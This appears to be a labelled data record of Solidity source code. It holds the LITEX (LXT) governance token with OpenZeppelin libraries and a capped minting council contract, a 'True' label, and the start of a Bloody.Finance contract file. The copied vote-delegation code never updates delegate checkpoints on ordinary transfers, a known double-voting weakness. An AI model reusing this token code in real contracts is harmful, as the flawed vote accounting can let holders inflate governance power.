function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// TitanToken with Governance.
contract LITEXToken is ERC20("LITEX", "LXT"), Ownable {
uint public initSupply = 2_000_000_000e18; // 2 billion LXT
constructor() public {
_mint(msg.sender, initSupply);
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from,_amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "BM::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BM::permit: invalid signature");
require(signatory == owner, "BM::permit: unauthorized");
require(now <= deadline, "BM::permit: signature expired");
_approve(owner,spender,amount);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SUSHI::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SUSHI::delegateBySig: invalid nonce");
require(now <= expiry, "SUSHI::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "SUSHI::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "SUSHI::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
contract lxtCommunityCouncil {
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
uint public mintingAllowedAfter;
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 10;
// The WAGYU TOKEN!
LITEXToken public lxtToken;
/**
* @notice Construct a new LXT token
* @param minter_ The account with minting ability
* @param mintingAllowedAfter_ The timestamp after which minting may occur
*/
constructor(LITEXToken _lxtToken,address minter_, uint mintingAllowedAfter_) public {
require(mintingAllowedAfter_ >= block.timestamp, "LXT::constructor: minting can only begin after deployment");
lxtToken = _lxtToken;
minter = minter_;
mintingAllowedAfter = mintingAllowedAfter_;
}
/**
* @notice Mint new tokens
* @param dst The address of the destination account
* @param rawAmount The number of tokens to be minted
*/
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "LXT::mint: only the minter can mint");
require(block.timestamp >= mintingAllowedAfter, "LXT::mint: minting not allowed yet");
require(dst != address(0), "LXT::mint: cannot transfer to the zero address");
// record the mint
mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);
uint maxAmount = SafeMath.div(SafeMath.mul(lxtToken.totalSupply(), mintCap), 100);
require(rawAmount <= maxAmount, "LXT::mint: exceeded mint cap");
lxtToken.mint(dst, rawAmount);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
/**
* © 2020 Bloody.Finance
*/
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
